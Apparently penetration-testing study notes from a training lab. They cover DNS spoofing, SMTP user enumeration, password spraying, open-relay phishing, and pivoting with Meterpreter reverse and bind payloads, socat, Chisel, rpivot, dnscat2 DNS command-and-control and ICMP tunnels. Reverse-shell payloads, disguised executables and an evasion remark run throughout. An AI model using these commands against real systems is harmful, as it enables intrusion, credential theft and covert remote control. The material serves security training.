The [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) repository is also an excellent reference for a subdomain takeover vulnerability. ## DNS Spoofing Example attack paths for the DNS Cache Poisoning are as follows: * An attacker could intercept the communication between a user and a DNS server to route the user to a fraudulent destination instead of a legitimate one by performing a Man-in-the-Middle (`MITM`) attack. * Exploiting a vulnerability found in a DNS server could yield control over the server by an attacker to modify the DNS records. ### **Local DNS Cache Poisoning** From a local network perspective, an attacker can also perform DNS Cache Poisoning using MITM tools like [Ettercap](https://www.ettercap-project.org/) or [Bettercap](https://www.bettercap.org/). To exploit the DNS cache poisoning via `Ettercap`, we should first edit the `/etc/ettercap/etter.dns` file to map the target domain name (e.g., `inlanefreight.com`) that they want to spoof and the attacker's IP address (e.g., `192.168.225.110`) that they want to redirect a user to: ```shell-session cat /etc/ettercap/etter.dns inlanefreight.com A 192.168.225.110 *.inlanefreight.com A 192.168.225.110 ``` Next, start the `Ettercap` tool and scan for live hosts within the network by navigating to `Hosts > Scan for Hosts`. Once completed, add the target IP address (e.g., `192.168.152.129`) to Target1 and add a default gateway IP (e.g., `192.168.152.2`) to Target2. Activate `dns_spoof` attack by navigating to `Plugins > Manage Plugins`. This sends the target machine with fake DNS responses that will resolve `inlanefreight.com` to IP address `192.168.225.110` After a successful DNS spoof attack, if a victim user coming from the target machine `192.168.152.129` visits the `inlanefreight.com` domain on a web browser, they will be redirected to a `Fake page` that is hosted on IP address `192.168.225.110`: # Email Services Email servers are complex and usually require us to enumerate multiple servers, ports, and services. Furthermore, today most companies have their email services in the cloud with services such as [Microsoft 365](https://www.microsoft.com/en-ww/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook) or [G-Suite](https://workspace.google.com/solutions/new-business/). Therefore, our approach to attacking the email service depends on the service in use. We can use the `Mail eXchanger` (`MX`) DNS record to identify a mail server We can use tools such as `host` or `dig` and online websites such as [MXToolbox](https://mxtoolbox.com/) to query information about the MX records: ```shell-session host -t MX hackthebox.eu ``` ```shell-session dig mx plaintext.do | grep "MX" | grep -v ";" ``` ```shell-session host -t A mail1.inlanefreight.htb. ``` If we are targetting a custom mail server implementation such as `inlanefreight.htb`, we can enumerate the following ports: | **Port** | **Service** | | --------- | -------------------------------------------------------------------------- | | `TCP/25` | SMTP Unencrypted | | `TCP/143` | IMAP4 Unencrypted | | `TCP/110` | POP3 Unencrypted | | `TCP/465` | SMTP Encrypted | | `TCP/587` | SMTP Encrypted/[STARTTLS](https://en.wikipedia.org/wiki/Opportunistic_TLS) | | `TCP/993` | IMAP4 Encrypted | | `TCP/995` | POP3 Encrypted | We can use `Nmap`'s default script `-sC` option to enumerate those ports on the target system: ```bash sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 ``` ## Misconfigurations ### **Authentication** The SMTP server has different commands that can be used to enumerate valid usernames `VRFY`, `EXPN`, and `RCPT TO`. If we successfully enumerate valid usernames, we can attempt to password spray, brute-forcing, or guess a valid password. So let's explore how those commands work. `VRFY` this command instructs the receiving SMTP server to check the validity of a particular email username. The server will respond, indicating if the user exists or not. This feature can be disabled. ```shell-session telnet 10.10.110.20 25 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. 220 parrot ESMTP Postfix (Debian/GNU) VRFY root 252 2.0.0 root VRFY www-data 252 2.0.0 www-data VRFY new-user 550 5.1.1 : Recipient address rejected: User unknown in local recipient table ``` `EXPN` is similar to `VRFY`, except that when used with a distribution list, it will list all users on that list. This can be a bigger problem than the `VRFY` command since sites often have an alias such as "all." ```shell-session telnet 10.10.110.20 25 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. 220 parrot ESMTP Postfix (Debian/GNU) EXPN john 250 2.1.0 john@inlanefreight.htb EXPN support-team 250 2.0.0 carol@inlanefreight.htb 250 2.1.5 elisa@inlanefreight.htb ``` `RCPT TO` identifies the recipient of the email message. This command can be repeated multiple times for a given message to deliver a single message to multiple recipients. ```shell-session telnet 10.10.110.20 25 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. 220 parrot ESMTP Postfix (Debian/GNU) MAIL FROM:test@htb.com it is 250 2.1.0 test@htb.com... Sender ok RCPT TO:julio 550 5.1.1 julio... User unknown RCPT TO:kate 550 5.1.1 kate... User unknown RCPT TO:john 250 2.1.5 john... Recipient ok ``` We can also use the `POP3` protocol to enumerate users depending on the service implementation. For example, we can use the command `USER` followed by the username, and if the server responds `OK`. This means that the user exists on the server. ```shell-session telnet 10.10.110.20 110 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. +OK POP3 Server ready USER julio -ERR USER john +OK ``` ### Automatic enumeration To automate our enumeration process, we can use a tool named [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum). We can specify the enumeration mode with the argument `-M` followed by `VRFY`, `EXPN`, or `RCPT`, and the argument `-U` with a file containing the list of users we want to enumerate. Depending on the server implementation and enumeration mode, we need to add the domain for the email address with the argument `-D`. Finally, we specify the target with the argument `-t`. ```bash smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t ``` ## Cloud Enumeration [O365spray](https://github.com/0xZDH/o365spray) is a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365) **Validating service** ```bash python3 o365spray.py --validate --domain msplaintext.xyz ``` **Attempt to identify usernames.** ```bash python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz ``` ## Password Attacks We can use `Hydra` to perform a password spray or brute force against email services such as `SMTP`, `POP3`, or `IMAP4`. First, we need to get a username list and a password list and specify which service we want to attack. Let us see an example for `POP3`. ```bash hydra -L users.txt -p 'Company01!' -f pop3 ``` For cloud services we can try custom tools such as [o365spray](https://github.com/0xZDH/o365spray) or [MailSniper](https://github.com/dafthack/MailSniper) for Microsoft Office 365 or [CredKing](https://github.com/ustayready/CredKing) for Gmail or Okta. ```bash python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain ``` ## Protocol Specifics Attacks An open relay is a Simple Mail Transfer Protocol (`SMTP`) server, which is improperly configured and allows an unauthenticated email relay. ### **Open Relay** From an attacker's standpoint, we can abuse this for phishing by sending emails as non-existing users or spoofing someone else's email. With the `nmap smtp-open-relay` script, we can identify if an SMTP port allows an open relay. ```bash nmap -p25 -Pn --script smtp-open-relay ``` Next, we can use any mail client to connect to the mail server and send our email. ```bash swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server ``` # Pivoting, Tunneling, and Port Forwarding fun :D # Choosing The Dig Site & Starting Our Tunnels ## Dynamic Port Forwarding with SSH and SOCKS Tunneling ### SSH Local Port Forwarding
```bash ssh -L 1234:localhost:3306 -l ``` ### Setting up to Pivot
In the above image, the attack host starts the SSH client and requests the SSH server to allow it to send some TCP data over the ssh socket. The SSH server responds with an acknowledgment, and the SSH client then starts listening on `localhost:9050`. Whatever data you send here will be broadcasted to the entire network (172.16.5.0/23) over SSH. We can use the below command to perform this dynamic port forwarding. ```bash ssh -D 9050 -l ``` The `-D` argument requests the SSH server to enable dynamic port forwarding. Once we have this enabled, we will require a tool that can route any tool's packets over the port `9050` We can do this using the tool `proxychains` Proxychains is often used to force an application's `TCP traffic` to go through hosted proxies like `SOCKS4`/`SOCKS5`, `TOR`, or `HTTP`/`HTTPS` proxies. To inform proxychains that we must use port 9050, we must modify the proxychains configuration file located at `/etc/proxychains.conf`. We can add `socks4 127.0.0.1 9050` to the last line if it is not already there. ```shell-session tail -4 /etc/proxychains.conf [ProxyList] socks4 127.0.0.1 9050 ``` Now when you start Nmap with proxychains using the below command, it will route all the packets of Nmap to the local port 9050, where our SSH client is listening, which will forward all the packets over SSH to the 172.16.5.0/23 network. ```bash proxychains nmap -v -sn 172.16.5.1-200 ``` {% hint style="warning" %} we can only perform a `full TCP connect scan` over proxychains. The reason for this is that proxychains cannot understand partial packets. We also need to make sure we are aware of the fact that `host-alive` checks may not work against Windows targets because the Windows Defender firewall blocks ICMP requests (traditional pings) by default. {% endhint %} ```bash proxychains nmap -v -Pn -sT ``` #### Using Metasploit with Proxychains ```shell-session proxychains msfconsole search rdp_scanner use 0 set rhosts run ``` #### **Using xfreerdp with Proxychains** ```bash proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123 ``` ## Remote/Reverse Port Forwarding with SSH
We first use the Ubuntu server as host to transfer the malicious files to the Windows machine ```bash msfvenom -p windows/x64/meterpreter/reverse_https lhost= -f exe -o backupscript.exe LPORT=8080 ``` ```bash scp backupscript.exe ubuntu@:~/ ``` on Ubuntu server: ```bash python3 -m http.server 8123 ``` We download the file from the Windows machine: ```powershell-session Invoke-WebRequest -Uri "http://:8123/backupscript.exe" -OutFile "C:\backupscript.exe" ``` Then we create a reverse port forward from the port `8080` of the Ubuntu server to our machine's port `8000` ```shell-session ssh -R :8080:0.0.0.0:8000 ubuntu@ -vN ``` After creating the SSH remote port forward, we can execute the payload from the Windows target. If the payload is executed as intended and attempts to connect back to our listener, we can see the logs from the pivot on the pivot host. On Attacker machine, start `msfconsole` and: ```shell-session use exploit/multi/handler set LPORT 8000 set LHOST 0.0.0.0 set payload windows/x64/meterpreter/reverse_https ``` Our Meterpreter session should list that our incoming connection is from a local host itself (`127.0.0.1`) since we are receiving the connection over the `local SSH socket`, which created an `outbound` connection to the Ubuntu server. Issuing the `netstat` command can show us that the incoming connection is from the SSH service.
## Meterpreter Tunneling & Port Forwarding We can create a Meterpreter shell for the Ubuntu server with the below command, which will return a shell on our attack host on port `8080`. ```shell-session msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= -f elf -o backupjob LPORT=8080 ``` Before copying the payload over, we can start a [multi/handler](https://www.rapid7.com/db/modules/exploit/multi/handler/), also known as a Generic Payload Handler (as above, different payload). ```shell-session use exploit/multi/handler set lhost 0.0.0.0 set lport 8080 set payload linux/x64/meterpreter/reverse_tcp run ``` We can copy the `backupjob` binary file to the Ubuntu pivot host `over SSH` and execute it to gain a Meterpreter session. We need to make sure the Meterpreter session is successfully established upon executing the payload. ```shell-session [*] Sending stage (3020772 bytes) to 10.129.202.64 [*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500 meterpreter > pwd ``` So assuming that the firewall on the Windows target is allowing ICMP requests, we would want to perform a ping sweep on this network. We can do that using Meterpreter with the `ping_sweep` module, which will generate the ICMP traffic from the Ubuntu host to the network `172.16.5.0/23`. ```shell-session run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 ``` Here are two helpful ping sweep for loop one-liners we could use for Linux-based and Windows-based pivot hosts. ```bash for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done ``` ```batch for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply" ``` ```powershell 1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"} ``` {% hint style="info" %} It is possible that a ping sweep may not result in successful replies on the first attempt, especially when communicating across networks. This can be caused by the time it takes for a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least twice to ensure the arp cache gets built. {% endhint %} There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get us successful replies. In these cases, we can perform a TCP scan on the 172.16.5.0/23 network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module `socks_proxy` to configure a local proxy on our attack host. We will configure the SOCKS proxy for `SOCKS version 4a`. This SOCKS configuration will start a listener on port `9050` and route all the traffic received via our Meterpreter session. ```shell-session msf6 > use auxiliary/server/socks_proxy set SRVPORT 9050 set SRVHOST 0.0.0.0 set version 4a run ``` **Confirming Proxy Server is Running** ```shell-session msf6 auxiliary(server/socks_proxy) > jobs ``` After initiating the SOCKS server, we will configure proxychains to route traffic generated by other tools like Nmap through our pivot on the compromised Ubuntu host. add the below line at the end of our `proxychains.conf` file located at `/etc/proxychains.conf` if it isn't already there. (if there isn't a fiel already, remember to include the `[ProxyList]` section before this line) ```shell-session socks4 127.0.0.1 9050 ``` Finally, we need to tell our socks\_proxy module to route all the traffic via our Meterpreter session. We can use the `post/multi/manage/autoroute` module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic. ```shell-session msf6 > use post/multi/manage/autoroute set SESSION 1 set SUBNET 172.16.5.0 run ``` OR from meterpreter directly: ```shell-session meterpreter > run autoroute -s 172.16.5.0/23 ``` After adding the necessary route(s) we can use the `-p` option to list the active routes to make sure our configuration is applied as expected. ```shell-session meterpreter > run autoroute -p ``` **Testing Proxy & Routing Functionality** ```bash proxychains nmap -p3389 -sT -v -Pn ``` ### Port Forwarding Port forwarding can also be accomplished using Meterpreter's `portfwd` module. We can enable a listener on our attack host and request Meterpreter to forward all the packets received on this port via our Meterpreter session to a remote host on the 172.16.5.0/23 network. ```shell-session meterpreter > help portfwd Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -h Help banner. -i Index of the port forward entry to interact with (see the "list" command). -l Forward: local port to listen on. Reverse: local port to connect to. -L Forward: local host to listen on (optional). Reverse: local host to connect to. -p Forward: remote port to connect to. Reverse: remote port to listen on. -r Forward: remote host to connect to. -R Indicates a reverse port forward. ``` ```shell-session portfwd add -l 3300 -p 3389 -r 172.16.5.19 ``` The above command requests the Meterpreter session to start a listener on our attack host's local port (`-l`) `3300` and forward all the packets to the remote (`-r`) Windows server `172.16.5.19` on `3389` port (`-p`) via our Meterpreter session. Now, if we execute xfreerdp on our localhost:3300, we will be able to create a remote desktop session. ```shell-session xfreerdp /v:localhost:3300 /u:victor /p:pass@123 ``` **Netstat Output** ```shell-session netstat -antp tcp 0 0 127.0.0.1:54652 127.0.0.1:3300 ESTABLISHED 4075/xfreerdp ``` ### Meterpreter Reverse Port Forwarding Similar to local port forwards, Metasploit can also perform `reverse port forwarding` with the below command, where you might want to listen on a specific port on the compromised server and forward all incoming shells from the Ubuntu server to our attack host. We will start a listener on a new port on our attack host for Windows and request the Ubuntu server to forward all requests received to the Ubuntu server on port `1234` to our listener on port `8081`. ```shell-session meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18 ``` **Configuring & Starting multi/handler** ```shell-session meterpreter > bg [*] Backgrounding session 1... msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LPORT 8081 LPORT => 8081 msf6 exploit(multi/handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:8081 ``` **Generating the Windows Payload** As above, be mindful that the UbuntuIP used here is the network interface for the windows network segment. ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= -f exe -o backupscript.exe LPORT=1234 ``` Finally, if we execute our payload on the Windows host, we should be able to receive a shell from Windows pivoted via the Ubuntu server. # Playing Pong with Socat ## Socat Redirection with a Reverse Shell [Socat](https://linux.die.net/man/1/socat) is a bidirectional relay tool that can create pipe sockets between `2` independent network channels without needing to use SSH tunneling. We can start Metasploit's listener using the same command mentioned in the last section on our attack host, and we can start `socat` on the Ubuntu server. ```bash socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80 ``` Socat will listen on localhost on port `8080` and forward all the traffic to port `80` on our attack host (10.10.14.18). We then create a payload for the Windows target that points at the Ubuntu server running socat and start our `multi_handler` on the attack machine ```bash msfvenom -p windows/x64/meterpreter/reverse_https LHOST= -f exe -o backupscript.exe LPORT=8080 ``` (we need port 80) ```shell-session sudo msfconsole msf6 > use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set lhost 0.0.0.0 set lport 80 run ``` We can test this by running our payload on the windows host again, and we should see a network connection from the Ubuntu server this time. ## Socat Redirection with a Bind Shell Similar to our socat's reverse shell redirector, we can also create a socat bind shell redirector. This is different from reverse shells that connect back from the Windows server to the Ubuntu server and get redirected to our attack host. In the case of bind shells, the Windows server will start a listener and bind to a particular port. We can create a bind shell payload for Windows and execute it on the Windows host. At the same time, we can create a socat redirector on the Ubuntu server, which will listen for incoming connections from a Metasploit bind handler and forward that to a bind shell payload on a Windows target. The below figure should explain the pivot in a much better way.
**Creating the Windows Payload** ```bash msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443 ``` We can start a `socat bind shell` listener, which listens on port `8080` and forwards packets to Windows server `8443`. ```shell-session socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443 ``` `172.16.5.19` is the Windows IP ```shell-session msf6 > use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set RHOST 10.129.202.64 set LPORT 8080 run ``` **Establishing Meterpreter Session** ```shell-session meterpreter > getuid ``` # Pivoting Around Obstacles ## SSH for Windows: plink.exe [Plink](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html), short for PuTTY Link, is a Windows command-line SSH tool that comes as a part of the PuTTY package when installed. Before the Fall of [2018](https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview), Windows did not have a native ssh client included, so users would have to install their own. The tool of choice for many a sysadmin who needed to connect to other hosts was [PuTTY](https://www.putty.org/). That is just one potential scenario where Plink could be beneficial. We could also use Plink if we use a Windows system as our primary attack host instead of a Linux-based system. ### Getting To Know Plink
```cmd-session plink -ssh -D 9050 ubuntu@10.129.15.50 ``` Another Windows-based tool called [Proxifier](https://www.proxifier.com) can be used to start a SOCKS tunnel via the SSH session we created. Proxifier is a Windows tool that creates a tunneled network for desktop client applications and allows it to operate through a SOCKS or HTTPS proxy and allows for proxy chaining. It is possible to create a profile where we can provide the configuration for our SOCKS server started by Plink on port 9050. After configuring the SOCKS server for `127.0.0.1` and port 9050, we can directly start `mstsc.exe` to start an RDP session with a Windows target that allows RDP connections. ## SSH Pivoting with Sshuttle [Sshuttle](https://github.com/sshuttle/sshuttle) is another tool written in Python which removes the need to configure proxychains. However, this tool only works for pivoting over SSH and does not provide other options for pivoting over TOR or HTTPS proxy servers. We can configure the Ubuntu server as a pivot point and route all of Nmap's network traffic with sshuttle using the example later in this section. One interesting usage of sshuttle is that we don't need to use proxychains to connect to the remote hosts. Let's install sshuttle via our Ubuntu pivot host and configure it to connect to the Windows host via RDP. ```bash sudo apt-get install sshuttle ``` To use sshuttle, we specify the option `-r` to connect to the remote machine with a username and password. Then we need to include the network or IP we want to route through the pivot host, in our case, is the network 172.16.5.0/23. ```shell-session sudo sshuttle -r ubuntu@ 172.16.5.0/23 -v ``` With this command, sshuttle creates an entry in our `iptables` to redirect all traffic to the 172.16.5.0/23 network through the pivot host. **Traffic Routing through iptables Routes** ```bash nmap -v -sV -p3389 -A -Pn ``` We can now use any tool directly without using proxychains. ## Web Server Pivoting with Rpivot [Rpivot](https://github.com/klsecservices/rpivot) is a reverse SOCKS proxy tool written in Python for SOCKS tunneling. Rpivot binds a machine inside a corporate network to an external server and exposes the client's local port on the server-side. We will take the scenario below, where we have a web server on our internal network (`172.16.5.135`), and we want to access that using the rpivot proxy.
```bash git clone https://github.com/klsecservices/rpivot.git sudo apt-get install python2.7 ``` Another way to install python 2.7 ```bash curl https://pyenv.run | bash echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc echo 'eval "$(pyenv init -)"' >> ~/.bashrc source ~/.bashrc pyenv install 2.7 pyenv shell 2.7 ``` We can start our rpivot SOCKS proxy server to connect to our client on the compromised Ubuntu server using `server.py`. **Running server.py from the Attack Host** ```bash python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 ``` Before running `client.py` we will need to transfer rpivot to the target. We can do this using this SCP command: **Transfering rpivot to the Target** ```shell-session scp -r rpivot ubuntu@:/home/ubuntu/ ``` ```shell-session python2.7 client.py --server-ip 10.10.14.18 --server-port 9999 ``` We will configure proxychains to pivot over our local server on 127.0.0.1:9050 on our attack host, which was initially started by the Python server. Finally, we should be able to access the webserver on our server-side, which is hosted on the internal network of 172.16.5.0/23 at 172.16.5.135:80 using proxychains and Firefox. ```shell-session proxychains firefox-esr 172.16.5.135:80 ``` Some organizations have [HTTP-proxy with NTLM authentication](https://docs.microsoft.com/en-us/openspecs/office_protocols/ms-grvhenc/b9e676e7-e787-4020-9840-7cfe7c76044a) configured with the Domain Controller. In such cases, we can provide an additional NTLM authentication option to rpivot to authenticate via the NTLM proxy by providing a username and password. In these cases, we could use rpivot's client.py in the following way: ```bash python client.py --server-ip --server-port 8080 --ntlm-proxy-ip --ntlm-proxy-port 8081 --domain --username --password ``` ## Port Forwarding with Windows Netsh [Netsh](https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts) is a Windows command-line tool that can help with the network configuration of a particular Windows system. Here are just some of the networking related tasks we can use `Netsh` for: * `Finding routes` * `Viewing the firewall configuration` * `Adding proxies` * `Creating port forwarding rules`
We can use `netsh.exe` to forward all data received on a specific port (say 8080) to a remote host on a remote port. This can be performed using the below command. ```batch netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25 ``` **Verifying Port Forward** ```batch netsh.exe interface portproxy show v4tov4 ``` After configuring the `portproxy` on our Windows-based pivot host, we will try to connect to the 8080 port of this host from our attack host using xfreerdp. Once a request is sent from our attack host, the Windows host will route our traffic according to the proxy settings configured by netsh.exe. # Branching Out Our Tunnels ## DNS Tunneling with Dnscat2 [Dnscat2](https://github.com/iagox86/dnscat2) is a tunneling tool that uses DNS protocol to send data between two hosts. It uses an encrypted `Command-&-Control` (`C&C` or `C2`) channel and sends data inside TXT records within the DNS protocol. If dnscat2 is not already set up on our attack host, we can do so using the following commands: ```bash git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ sudo gem install bundler sudo bundle install ``` **Starting the dnscat2 server** ```bash sudo ruby dnscat2.rb --dns host=,port=53,domain=inlanefreight.local --no-cache ``` After running the server, it will provide us the secret key, which we will have to provide to our dnscat2 client on the Windows host so that it can authenticate and encrypt the data that is sent to our external dnscat2 server. We can use the client with the dnscat2 project or use [dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell), a dnscat2 compatible PowerShell-based client that we can run from Windows targets to establish a tunnel with our dnscat2 server ```bash git clone https://github.com/lukebaggett/dnscat2-powershell.git ``` Once the `dnscat2.ps1` file is on the target we can import it and run associated cmd-lets. 
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
Import-Module .\dnscat2.ps1
```powershell Start-Dnscat2 -DNSserver -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd ``` We must use the pre-shared secret (`-PreSharedSecret`) generated on the server to ensure our session is established and encrypted. If all steps are completed successfully, we will see a session established with our server. We can list the options we have with dnscat2 by entering `?` at the prompt. **Listing dnscat2 Options** ```shell-session dnscat2> ? Here is a list of commands (use -h on any of them for additional help): * echo * help * kill * quit * set * start * stop * tunnels * unset * window * windows ``` **Interacting with the Established Session** ```shell-session window -i 1 ``` ## SOCKS5 Tunneling with Chisel [Chisel](https://github.com/jpillora/chisel) is a TCP/UDP-based tunneling tool written in [Go](https://go.dev/) that uses HTTP to transport data that is secured using SSH. `Chisel` can create a client-server tunnel connection in a firewall restricted environment. ### Setting Up & Using Chisel ```bash git clone https://github.com/jpillora/chisel.git cd chisel go build ``` If we want to mind the size of the binary we can follow IppSec's explanation of Chisel, building the binary and shrinking the size of the binary at the 24:29 mark of his [video](https://www.youtube.com/watch?v=Yp4oxoQIBAM\&t=1469s). This is sometimes useful to avoid detection. Once the binary is built, we can use `SCP` to transfer it to the target pivot host. ```bash scp chisel ubuntu@10.129.202.64:~/ ``` **Running the Chisel Server on the Pivot Host** ```bash ./chisel server -v -p 1234 --socks5 ``` The Chisel listener will listen for incoming connections on port `1234` using SOCKS5 (`--socks5`) and forward it to all the networks that are accessible from the pivot host. We can start a client on our attack host and connect to the Chisel server. **Connecting to the Chisel Server** ```bash ./chisel client -v :1234 socks ``` Now we can modify our proxychains.conf file located at `/etc/proxychains.conf` and add `1080` port at the end so we can use proxychains to pivot using the created tunnel between the 1080 port and the SSH tunnel. ```shell-session [ProxyList] socks5 127.0.0.1 1080 ``` Now if we use proxychains with RDP, we can connect to the DC on the internal network through the tunnel we have created to the Pivot host. ```bash proxychains xfreerdp /v: /u:victor /p:pass@123 ``` ### Chisel Reverse Pivot there may be scenarios where firewall rules restrict inbound connections to our compromised target. In such cases, we can use Chisel with the reverse option. We'll start the server in our attack host with the option `--reverse`. **Starting the Chisel Server on our Attack Host** ```bash sudo ./chisel server --reverse -v -p 1234 --socks5 ``` Then we connect from the Ubuntu (pivot host) to our attack host, using the option `R:socks` ```bash ./chisel client -v :1234 R:socks ``` Same proxychains config as above ``` [ProxyList] socks5 127.0.0.1 1080 ``` ```shell-session proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123 ``` ### Older versions of pre-compiled Chisel (in case you need old libc) {% embed url="" %} ## ICMP Tunneling with SOCKS ICMP tunneling encapsulates your traffic within `ICMP packets` containing `echo requests` and `responses`. ICMP tunneling would only work when ping responses are permitted within a firewalled network. We will use the [ptunnel-ng](https://github.com/utoni/ptunnel-ng) tool to create a tunnel between our Ubuntu server and our attack host. Once a tunnel is created, we will be able to proxy our traffic through the `ptunnel-ng client`. We can start the `ptunnel-ng server` on the target pivot host. Let's start by setting up ptunnel-ng. ### Setting Up & Using ptunnel-ng If ptunnel-ng is not on our attack host, we can clone the project using git. ```bash git clone https://github.com/utoni/ptunnel-ng.git cd ptunnel-ng sudo ./autogen.sh ``` **Alternative approach of building a static binary** ```bash sudo apt install automake autoconf -y cd ptunnel-ng/ sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh ./autogen.sh ``` **Transferring Ptunnel-ng to the Pivot Host** ```bash scp -r ptunnel-ng ubuntu@:~/ ``` **Starting the ptunnel-ng Server on the Pivot Host** ```bash sudo ./ptunnel-ng -r -R22 ``` The IP address following `-r` should be the IP we want ptunnel-ng to accept connections on Back on the attack host, we can attempt to connect to the ptunnel-ng server (`-p `) but ensure this happens through local port 2222 (`-l2222`). Connecting through local port 2222 allows us to send traffic through the ICMP tunnel. ```bash sudo ./ptunnel-ng -p -l2222 -r -R22 ``` With the ptunnel-ng ICMP tunnel successfully established, we can attempt to connect to the target using SSH through local port 2222 (`-p2222`). **Tunneling an SSH connection through an ICMP Tunnel** ```bash ssh -p 2222 -l ubuntu 127.0.0.1 ``` We may also use this tunnel and SSH to perform dynamic port forwarding to allow us to use proxychains in various ways. ```bash ssh -D 9050 -p 2222 -l ubuntu 127.0.0.1 ``` We could use proxychains with Nmap to scan targets on the internal network (172.16.5.x). Based on our discoveries, we can attempt to connect to the target. ```bash proxychains nmap -sV -sT -p3389 ``` ### Hans Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` # Double Pivots ## RDP and SOCKS Tunneling with SocksOverRDP In this case ww will have a Windows machine as jump host and then another windows machine on `172.16.5.19` and then a final machine on `172.16.6.155` [SocksOverRDP](https://github.com/nccgroup/SocksOverRDP) is an example of a tool that uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for tunneling packets over the RDP connection. Some examples of usage of this feature would be clipboard data transfer and audio sharing. However, this feature can also be used to tunnel arbitrary packets over the network. We can use `SocksOverRDP` to tunnel our custom packets and then proxy through it. We will use the tool [Proxifier](https://www.proxifier.com/) as our proxy server. We can start by downloading the appropriate binaries to our attack host to perform this attack. Having the binaries on our attack host will allow us to transfer them to each target where needed. We will need: 1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) * We can look for `ProxifierPE.zip` We can then connect to the target using xfreerdp and copy the `SocksOverRDPx64.zip` file to the target. From the Windows target, we will then need to load the SocksOverRDP.dll using regsvr32.exe. ```batch regsvr32.exe SocksOverRDP-Plugin.dll ``` Now we can connect to 172.16.5.19 over RDP using `mstsc.exe`, and we should receive a prompt that the SocksOverRDP plugin is enabled, and it will listen on 127.0.0.1:1080 We will need to transfer SocksOverRDPx64.zip or just the SocksOverRDP-Server.exe to 172.16.5.19. We can then start SocksOverRDP-Server.exe with Admin privileges. On our jump host we should have the proxy server: ```batch netstat -antb | findstr 1080 ``` After starting our listener, we can transfer Proxifier portable to the Windows 10 target (on the 10.129.x.x network), and configure it to forward all our packets to 127.0.0.1:1080. Proxifier will route traffic through the given host and port. See the clip below for a quick walkthrough of configuring Proxifier.
**Also add to the proxification list the name of the executable that you want to proxify** With Proxifier configured and running, we can start mstsc.exe, and it will use Proxifier to pivot all our traffic via 127.0.0.1:1080, which will tunnel it over RDP to 172.16.5.19, which will then route it to 172.16.6.155 using SocksOverRDP-server.exe. **RDP Performance Considerations** When interacting with our RDP sessions on an engagement, we may find ourselves contending with slow performance in a given session, especially if we are managing multiple RDP sessions simultaneously. If this is the case, we can access the `Experience` tab in mstsc.exe and set `Performance` to `Modem`.
